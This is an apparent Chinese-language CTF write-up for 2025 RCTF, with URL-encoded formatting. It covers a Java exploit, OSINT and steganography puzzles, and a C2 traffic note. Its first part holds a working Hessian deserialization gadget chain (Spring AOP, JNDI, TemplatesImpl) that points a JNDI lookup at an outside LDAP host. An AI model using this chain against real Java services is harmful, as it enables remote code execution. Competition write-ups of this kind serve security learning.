&nbsp;%20&nbsp;&nbsp;public&nbsp;boolean%20isTypeMatch(String%20name,%20ResolvableType%20typeToMatch)%20throws%20NoSuchBeanDefinitionException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Class<?>%20type%20=&nbsp;this.getType(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;type%20!=&nbsp;null&nbsp;&&%20typeToMatch.isAssignableFrom(type);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;boolean%20isTypeMatch(String%20name,&nbsp;@Nullable&nbsp;Class<?>%20typeToMatch)%20throws%20NoSuchBeanDefinitionException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Class<?>%20type%20=&nbsp;this.getType(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;typeToMatch%20==&nbsp;null&nbsp;||%20type%20!=&nbsp;null&nbsp;&&%20typeToMatch.isAssignableFrom(type);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;@Nullable&nbsp;%20&nbsp;&nbsp;public&nbsp;Class<?>%20getType(String%20name)%20throws%20NoSuchBeanDefinitionException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.getType(name,&nbsp;true);&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;@Nullable&nbsp;%20&nbsp;&nbsp;public&nbsp;Class<?>%20getType(String%20name,%20boolean%20allowFactoryBeanInit)%20throws%20NoSuchBeanDefinitionException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;try&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.doGetType(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NameNotFoundException%20var4)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20NoSuchBeanDefinitionException(name,&nbsp;"not%20found%20in%20JNDI%20environment");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;catch&nbsp;(NamingException%20var5)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;null;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;public&nbsp;String[]%20getAliases(String%20name)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;new%20String[0];&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;private&nbsp;<T>%20T%20doGetSingleton(String%20name,&nbsp;@Nullable&nbsp;Class<T>%20requiredType)%20throws%20NamingException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20synchronized(this.singletonObjects)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Object%20singleton%20=&nbsp;this.singletonObjects.get(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(singleton%20!=&nbsp;null)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(requiredType%20!=&nbsp;null&nbsp;&&%20!requiredType.isInstance(singleton))%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;throw&nbsp;new%20TypeMismatchNamingException(this.convertJndiName(name),%20requiredType,%20singleton.getClass());&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;(T)singleton;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20T%20jndiObject%20=%20(T)this.lookup(name,%20requiredType);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.singletonObjects.put(name,%20jndiObject);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;jndiObject;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;&nbsp;private&nbsp;Class<?>%20doGetType(String%20name)%20throws%20NamingException%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(this.isSingleton(name))%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;this.doGetSingleton(name,%20(Class)null).getClass();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;else&nbsp;{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20synchronized(this.resourceTypes)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Class<?>%20type%20=%20(Class)this.resourceTypes.get(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;(type%20==&nbsp;null)%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20type%20=&nbsp;this.lookup(name,%20(Class)null).getClass();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;this.resourceTypes.put(name,%20type);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;type;&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;%20}}

可以触发jndi,后面就是jdk原生反序列化的事情,走pojonode->spring%20aop->templatesImpl的事情了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepackage&nbsp;org.example;
import&nbsp;com.rctf.server.tool.Maybe;import&nbsp;org.springframework.jndi.support.SimpleJndiBeanFactory;import&nbsp;sun.misc.Unsafe;import&nbsp;ysomap.core.util.ReflectionHelper;
import&nbsp;java.lang.reflect.Constructor;import&nbsp;java.lang.reflect.Field;import&nbsp;java.lang.reflect.InvocationHandler;import&nbsp;java.lang.reflect.Proxy;import&nbsp;java.security.SignedObject;import&nbsp;java.util.HashMap;import&nbsp;java.util.Map;import&nbsp;java.util.TreeMap;import&nbsp;java.util.TreeSet;
public&nbsp;class&nbsp;Exp&nbsp;{&nbsp;%20&nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[]%20args)&nbsp;throws&nbsp;%20Exception{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Field&nbsp;theUnsafe&nbsp;=&nbsp;Unsafe.class.getDeclaredField("theUnsafe");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20theUnsafe.setAccessible(true);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Unsafe&nbsp;unsafe&nbsp;=&nbsp;(Unsafe)%20theUnsafe.get(null);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Class<?>%20name%20=%20Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Object&nbsp;o1&nbsp;=&nbsp;unsafe.allocateInstance(name);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;SimpleJndiBeanFactory&nbsp;simpleJndiBeanFactory&nbsp;=&nbsp;new&nbsp;SimpleJndiBeanFactory();
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("beanFactory")),simpleJndiBeanFactory);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("targetBeanName")),"ldap://112.124.59.213:50389/a1ab9c");

&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;InvocationHandler&nbsp;o&nbsp;=&nbsp;(InvocationHandler)%20unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;long&nbsp;objectFactory&nbsp;=&nbsp;unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory"));&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20unsafe.getAndSetObject(o,objectFactory,o1);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Maybe&nbsp;maybe&nbsp;=&nbsp;new&nbsp;Maybe(o);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;TreeSet&nbsp;treeSet&nbsp;=&nbsp;makeTreeSet(maybe,%20maybe);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;String&nbsp;serialize&nbsp;=&nbsp;HessianFactory.serialize(treeSet);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20System.out.println(serialize);//%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;HessianFactory.deserialize(serialize);&nbsp;%20&nbsp;%20}&nbsp;%20&nbsp;&nbsp;public&nbsp;static&nbsp;TreeSet&nbsp;makeTreeSet(Object%20v1,%20Object%20v2)&nbsp;throws&nbsp;Exception%20{&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20TreeMap<Object,Object>%20m%20=&nbsp;new&nbsp;TreeMap<>();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ReflectionHelper.setFieldValue(m,&nbsp;"size",&nbsp;2);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ReflectionHelper.setFieldValue(m,&nbsp;"modCount",&nbsp;2);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20Class<?>%20nodeC%20=%20Class.forName("java.util.TreeMap$Entry");&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Constructor&nbsp;nodeCons&nbsp;=&nbsp;nodeC.getDeclaredConstructor(Object.class,%20Object.class,%20nodeC);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ReflectionHelper.setAccessible(nodeCons);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Object&nbsp;node&nbsp;=&nbsp;nodeCons.newInstance(v1,&nbsp;new&nbsp;Object[0],&nbsp;null);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;Object&nbsp;right&nbsp;=&nbsp;nodeCons.newInstance(v2,&nbsp;new&nbsp;Object[0],%20node);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ReflectionHelper.setFieldValue(node,&nbsp;"right",%20right);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ReflectionHelper.setFieldValue(m,&nbsp;"root",%20node);
&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;TreeSet&nbsp;set&nbsp;=&nbsp;new&nbsp;TreeSet();&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20ReflectionHelper.setFieldValue(set,&nbsp;"m",%20m);&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;return&nbsp;set;&nbsp;%20&nbsp;%20}
}
Misc Speak%20Softly%20Love
ounter(lineounter(lineounter(lineounter(line1.8ssDGBTssUI2.r1783.https://mateusz.viste.fr/mateusz.ogg4.16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT

第一问

根据视频试图先找到电脑型号,然后结合关键词music,youtube搜索找到这个。

ounter(line8ssDGBTssUI

第二问

查找DOSmid

ounter(linehttps://www.vogons.org/viewtopic.php?t=44947

先找到关于这个的大致信息

使用的svn

ounter(linesvn%20co&nbsp;svn://svn.mateusz.fr/dosmid%20dosmid-svn

然后基于上述关键词去查找

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log&nbsp;-r&nbsp;200:350&nbsp;|&nbsp;egrep&nbsp;-i%20"playlist|m3u|freeze|empty|loop|soft"freezed%20v0.9&nbsp;to&nbsp;tagsfreezed%20v0.9.1&nbsp;to&nbsp;tagssequential%20playing&nbsp;of&nbsp;playlists,%20inspired&nbsp;by&nbsp;a%20patch%20proposed&nbsp;by&nbsp;Graham%20Wisemanfreezed%20v0.9.2&nbsp;into&nbsp;tagsfreezed%20v0.9.3&nbsp;to&nbsp;tagsm3u%20playlist%20uses%20fio%20calls%20instead&nbsp;of&nbsp;fopen()&nbsp;and&nbsp;friendsfix:&nbsp;/random%20was%20always%20playing&nbsp;first&nbsp;song&nbsp;of&nbsp;the%20m3u%20list,%20now%20it&nbsp;is&nbsp;random&nbsp;from&nbsp;the&nbsp;startfixed%20playlist%20gap%20delay%20computation%20(fixed&nbsp;/delay%20behavior,%20too)freezed%20v0.9.4&nbsp;to&nbsp;tagsfreezed%20v0.9.5&nbsp;to&nbsp;tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log&nbsp;-r&nbsp;1:200&nbsp;|&nbsp;egrep&nbsp;-i%20"playlist|m3u|freeze|empty|loop|soft"do&nbsp;not&nbsp;freeze&nbsp;when&nbsp;no&nbsp;MPU401&nbsp;is&nbsp;respondingsetting%20volume&nbsp;in&nbsp;software%20again,%20reinstated&nbsp;default&nbsp;delay=2ms,%20improved%20keyboard%20reaction%20times&nbsp;and&nbsp;adjusted%20documentationadded%20INT28h%20powersaving%20during%20idle%20loopsdetecting&nbsp;when&nbsp;a%20playlist&nbsp;is&nbsp;passed&nbsp;on&nbsp;command-line%20(but&nbsp;no&nbsp;m3u%20support%20yet)first&nbsp;semi-experimental%20M3U%20supportfreezed%20v0.6&nbsp;into&nbsp;tagsfreezed%20v0.6.1&nbsp;into&nbsp;tagsfreezed%20v0.7&nbsp;in&nbsp;tagsfreezed%20v0.8&nbsp;into&nbsp;tagsadded%20an&nbsp;empty&nbsp;and&nbsp;self-documented%20configuration%20file2s%20silence%20gap&nbsp;is&nbsp;inserted&nbsp;only&nbsp;in&nbsp;playlist%20mode%20(no&nbsp;reason&nbsp;to&nbsp;wait&nbsp;2s&nbsp;for&nbsp;a%20single%20file)fixed%20freezing&nbsp;when&nbsp;fed&nbsp;with&nbsp;an&nbsp;empty&nbsp;playlistif%20too%20many&nbsp;'soft'&nbsp;errors%20occur&nbsp;in&nbsp;a&nbsp;row,%20dosmid%20aborts%20(protects%20against&nbsp;'soft%20errors%20loops',%20typically&nbsp;with&nbsp;playlist%20filled&nbsp;with&nbsp;non-existing%20files)add&nbsp;a%20note%20about&nbsp;empty&nbsp;titles,&nbsp;when&nbsp;no&nbsp;textual%20data%20could%20be%20found&nbsp;in&nbsp;the%20midi%20fileignore&nbsp;leading&nbsp;empty&nbsp;title%20linesfreezed%20v0.9&nbsp;to&nbsp;tagsroot@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log&nbsp;-r&nbsp;1:200&nbsp;|&nbsp;grep&nbsp;-n%20"soft"260:setting%20volume&nbsp;in&nbsp;software%20again,%20reinstated&nbsp;default&nbsp;delay=2ms,%20improved%20keyboard%20reaction%20times&nbsp;and&nbsp;adjusted%20documentation712:if%20too%20many&nbsp;'soft'&nbsp;errors%20occur&nbsp;in&nbsp;a&nbsp;row,%20dosmid%20aborts%20(protects%20against&nbsp;'soft%20errors%20loops',%20typically&nbsp;with&nbsp;playlist%20filled&nbsp;with&nbsp;non-existing%20files)root@DESKTOP-LV8V93U:/home/2025RCTF/dosmid-svn#%20svn%20log&nbsp;-r&nbsp;1:200&nbsp;|&nbsp;sed&nbsp;-n&nbsp;'710,720p'r178&nbsp;|&nbsp;mv_fox&nbsp;|&nbsp;2016-05-09&nbsp;01:21:38&nbsp;+0800&nbsp;(Mon,&nbsp;09&nbsp;May&nbsp;2016)&nbsp;|&nbsp;1&nbsp;line
if%20too%20many&nbsp;'soft'&nbsp;errors%20occur&nbsp;in&nbsp;a&nbsp;row,%20dosmid%20aborts%20(protects%20against&nbsp;'soft%20errors%20loops',%20typically&nbsp;with&nbsp;playlist%20filled&nbsp;with&nbsp;non-existing%20files)------------------------------------------------------------------------r179&nbsp;|&nbsp;mv_fox&nbsp;|&nbsp;2016-05-09&nbsp;01:25:49&nbsp;+0800&nbsp;(Mon,&nbsp;09&nbsp;May&nbsp;2016)&nbsp;|&nbsp;1&nbsp;line
replaced%20sleep()%20calls&nbsp;with&nbsp;equivalent%20udelay()%20calls%20(makes%20the&nbsp;binary&nbsp;128&nbsp;bytes%20lighter)------------------------------------------------------------------------r180&nbsp;|&nbsp;mv_fox&nbsp;|&nbsp;2016-05-10&nbsp;02:04:00&nbsp;+0800&nbsp;(Tue,&nbsp;10&nbsp;May&nbsp;2016)&nbsp;|&nbsp;1&nbsp;line
fetching%20more%20textual%20data&nbsp;from&nbsp;MIDI%20files%20(text%20events,%20tracks%20titles,%20marker%20events...)&nbsp;and&nbsp;displaying%20it&nbsp;on&nbsp;a%20little%20scrolling&nbsp;window

可以锁定在r178-180,然后试r178就直接对了

ounter(liner178

第三问

根据评论区找到主页

ounter(lineounter(lineounter(lineounter(line主页里想联系我吗?我的电子邮件地址与此网页的地址几乎相同([email protected])。令人惊讶的是,很多人难以念出我的名字,所以这里附上我的名字(图片来自%20Wikimedia)。https://mateusz.viste.fr/mateusz.ogg

第四问

在主页发现了

ounter(linegopher://gopher.viste.fr

在26里找到了

ounter(line16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
The%20Alchemist’s%20Cage

Wanna%20Feel%20Love

Challenge%201

She%20only%20wanted%20to%20sing,%20but%20her%20voice%20was%20hidden%20in%20silence.%20What%20is%20this%20email%20trying%20to%20tell%20you?%20Look%20beyond%20what%20you%20hear%20—%20seek%20the%20whispers%20in%20the%20shadows,%20the%20comments%20that%20were%20never%20meant%20to%20be%20seen.

邮件隐写

ounter(linehttps://www.spammimic.com

ounter(lineDon't%20just%20listen%20to%20the%20sound;%20this%20file%20is%20hiding%20an%20'old&nbsp;relic.'%20Try%20looking%20for%20the%20'comments'%20that%20the%20player%20isn't%20supposed&nbsp;to&nbsp;see.

Challenge%202

She%20wants%20to%20tell%20you%20something,%20encoded%20in%20melodies.%20Within%20the%20digital%20symphony,%20her%20true%20voice%20emerges.%20What%20is%20the%20hidden%20message%20found%20in%20the%20XM%20file?%20The%20words%20she%20longed%20to%20sing,%20the%20feeling%20she%20wanted%20to%20share.

然后下载openmpt

评论和乐曲名有提示

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env%20python3#%20-*-%20coding:%20utf-8%20-*-
"""Decode%20hidden%20message%20from%20feel.wav%20binary-bar%20waveform.Expected%20output:%20I%20Feel%20Fantastic%20heyheyhey"""
import&nbsp;numpy&nbsp;as&nbsp;npfrom&nbsp;scipy.io&nbsp;import&nbsp;wavfile

def&nbsp;read_mono_pcm(path:&nbsp;str):&nbsp;%20&nbsp;%20rate,%20data%20=%20wavfile.read(path)&nbsp;%20&nbsp;%20data%20=%20data.astype(float)&nbsp;%20&nbsp;&nbsp;if&nbsp;data.ndim%20>&nbsp;1:%20&nbsp;&nbsp;#%20立体声只取一个声道&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20data%20=%20data[:,&nbsp;0]&nbsp;%20&nbsp;&nbsp;return&nbsp;rate,%20data

def&nbsp;compute_envelope(data:%20np.ndarray,%20window_size:&nbsp;int&nbsp;=&nbsp;100)%20->%20np.ndarray:&nbsp;%20&nbsp;&nbsp;"""对绝对值做滑动平均,得到能量包络"""&nbsp;%20&nbsp;%20abs_data%20=%20np.abs(data)&nbsp;%20&nbsp;%20n%20=&nbsp;len(abs_data)%20//%20window_size%20*%20window_size&nbsp;%20&nbsp;%20reshaped%20=%20abs_data[:n].reshape(-1,%20window_size)&nbsp;%20&nbsp;%20env%20=%20reshaped.mean(axis=1)&nbsp;%20&nbsp;&nbsp;return&nbsp;env

def&nbsp;binarize_envelope(env:%20np.ndarray)%20->%20np.ndarray:&nbsp;%20&nbsp;&nbsp;"""根据能量双峰分布自动求阈值,得到%200/1%20序列"""&nbsp;%20&nbsp;%20median_env%20=%20np.median(env)&nbsp;%20&nbsp;%20low_level%20=%20np.median(env[env%20<%20median_env])&nbsp;%20&nbsp;%20high_level%20=%20np.median(env[env%20>%20median_env])&nbsp;%20&nbsp;%20threshold%20=%20(low_level%20+%20high_level)%20/&nbsp;2.0&nbsp;%20&nbsp;%20bits_raw%20=%20(env%20>%20threshold).astype(int)&nbsp;%20&nbsp;&nbsp;return&nbsp;bits_raw

def&nbsp;run_length_encode(bits:%20np.ndarray):&nbsp;%20&nbsp;%20runs%20=%20[]&nbsp;%20&nbsp;%20current%20=%20bits[0]&nbsp;%20&nbsp;%20length%20=&nbsp;1&nbsp;%20&nbsp;&nbsp;for&nbsp;b&nbsp;in&nbsp;bits[1:]:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;b%20==%20current:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20length%20+=&nbsp;1&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;else:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20runs.append((current,%20length))&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20current%20=%20b&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20length%20=&nbsp;1&nbsp;%20&nbsp;%20runs.append((current,%20length))&nbsp;%20&nbsp;&nbsp;return&nbsp;runs

def&nbsp;expand_runs_to_bits(runs):&nbsp;%20&nbsp;&nbsp;"""&nbsp;%20&nbsp;%20每一串%200/1%20在时间上会持续若干个“单位长度”,&nbsp;%20&nbsp;%20大部分长度约是%2022%20的倍数,这里固定%20base_unit%20=%2022,&nbsp;%20&nbsp;%20再按%20round(length%20/%20base_unit)%20还原成重复%20bit。&nbsp;%20&nbsp;%20"""&nbsp;%20&nbsp;%20base_unit%20=&nbsp;22.0&nbsp;&nbsp;#%20针对%20feel.wav%20这题是固定的&nbsp;%20&nbsp;%20bit_list%20=%20[]&nbsp;%20&nbsp;&nbsp;for&nbsp;v,%20l&nbsp;in&nbsp;runs:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20n%20=&nbsp;int(round(l%20/%20base_unit))&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;&nbsp;if&nbsp;n%20<=&nbsp;0:&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20n%20=&nbsp;1&nbsp;%20&nbsp;%20&nbsp;%20&nbsp;%20bit_list.extend([v]%20*%20n)&nbsp;%20&nbsp;&nbsp;return&nbsp;bit_list

def&nbsp;bits_to_ascii(bit_list):&nbsp;%20&nbsp;%20bitstr%20=&nbsp;"".join(str(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;bit_list)&nbsp;%20&nbsp;%20bitstr%20=%20bitstr[:&nbsp;len(bitstr)%20//&nbsp;8&nbsp;*&nbsp;8]%20&nbsp;#%20截断到%208%20的倍数&nbsp;%20&nbsp;%20bytes_vals%20=%20[int(bitstr[i%20:%20i%20+&nbsp;8],&nbsp;2)&nbsp;for&nbsp;i&nbsp;in&nbsp;range(0,&nbsp;len(bitstr),&nbsp;8)]&nbsp;%20&nbsp;%20msg%20=&nbsp;"".join(chr(b)&nbsp;for&nbsp;b&nbsp;in&nbsp;bytes_vals)&nbsp;%20&nbsp;&nbsp;return&nbsp;msg,%20bytes_vals,%20bitstr

def&nbsp;decode_hidden_message(path:&nbsp;str):&nbsp;%20&nbsp;%20rate,%20data%20=%20read_mono_pcm(path)&nbsp;%20&nbsp;%20env%20=%20compute_envelope(data,%20window_size=100)&nbsp;%20&nbsp;%20bits_raw%20=%20binarize_envelope(env)&nbsp;%20&nbsp;%20runs%20=%20run_length_encode(bits_raw)&nbsp;%20&nbsp;%20bit_list%20=%20expand_runs_to_bits(runs)&nbsp;%20&nbsp;%20msg,%20bytes_vals,%20bitstr%20=%20bits_to_ascii(bit_list)&nbsp;%20&nbsp;&nbsp;return&nbsp;msg,%20bytes_vals,%20bitstr

if&nbsp;__name__%20==&nbsp;"__main__":&nbsp;%20&nbsp;&nbsp;#%20把这里改成你的文件名(与脚本在同一路径下)&nbsp;%20&nbsp;%20wav_path%20=&nbsp;"feel.wav"
&nbsp;%20&nbsp;%20msg,%20bytes_vals,%20bitstr%20=%20decode_hidden_message(wav_path)
&nbsp;%20&nbsp;&nbsp;print("Decoded%20bytes:",%20bytes_vals)&nbsp;%20&nbsp;&nbsp;print("Decoded%20message:")&nbsp;%20&nbsp;&nbsp;print(msg)
ounter(lineI&nbsp;Feel%20Fantastic%20heyheyhey

Challenge%203

She%20just%20feels%20love,%20and%20her%20legend%20once%20spread%20across%20YouTube.%20Her%20song%20touched%20hearts,%20but%20the%20original%20video%20on%20the%20YouTube%20platform%20has%20been%20removed%20—%20deleted,%20re-uploaded,%20distorted,%20like%20memories%20fading%20with%20time.%20Through%20the%20fragments%20of%20public%20records,%20find%20where%20her%20voice%20first%20echoed:%20the%20original%20video%20ID,%20upload%20date%20(YYYY-MM-DD),%20and%20the%20one%20who%20first%20shared%20her%20song.

在网络存档上找到原视频

ounter(linehttps://archive.org/details/youtube-rLy-AwdCOmI

ounter(lineounter(lineounter(linerLy-AwdCOmICreepyblog2009-04-15

Challenge%204

Her%20creator%20captured%20her%20voice,%20preserved%20in%20a%2015-minute%20audio/video%20DVD.%20She%20only%20wanted%20to%20sing,%20and%20he%20gave%20her%20that%20chance.%20If%20you%20wish%20to%20purchase%20her%20album,%20to%20hear%20her%20songs%20of%20love,%20which%20link%20should%20you%20visit?%20After%20purchasing,%20who%20is%20the%20sender?%20And%20what%20is%20the%20actual%20creation%20year%20when%20these%20musical%20compositions%20first%20came%20to%20life?

查找购买,基本AI就能出

ounter(lineounter(lineounter(linehttps://androidworld.com/prod68.htmChris&nbsp;Willis2004

Challenge%205

本题也是基本AI出的,多提示词几次,就会给出下面这个,但是有个坑点

john-louis-bergeron和john_louis-bergeron都会导航到那个网站,但是交后面那个是错误,因为这个卡住了,错失三血

ounter(linehttps://www.findagrave.com/memorial/63520325/john-louis-bergeron
Signin

直接看网页源代码。

发现100分就有flag了

Shadows%20of%20Asgard

是一个C2流量分析。

先找到C2上线的包

发现直接给aeskey和iv了。让ai搓了个脚本,成功解密data。

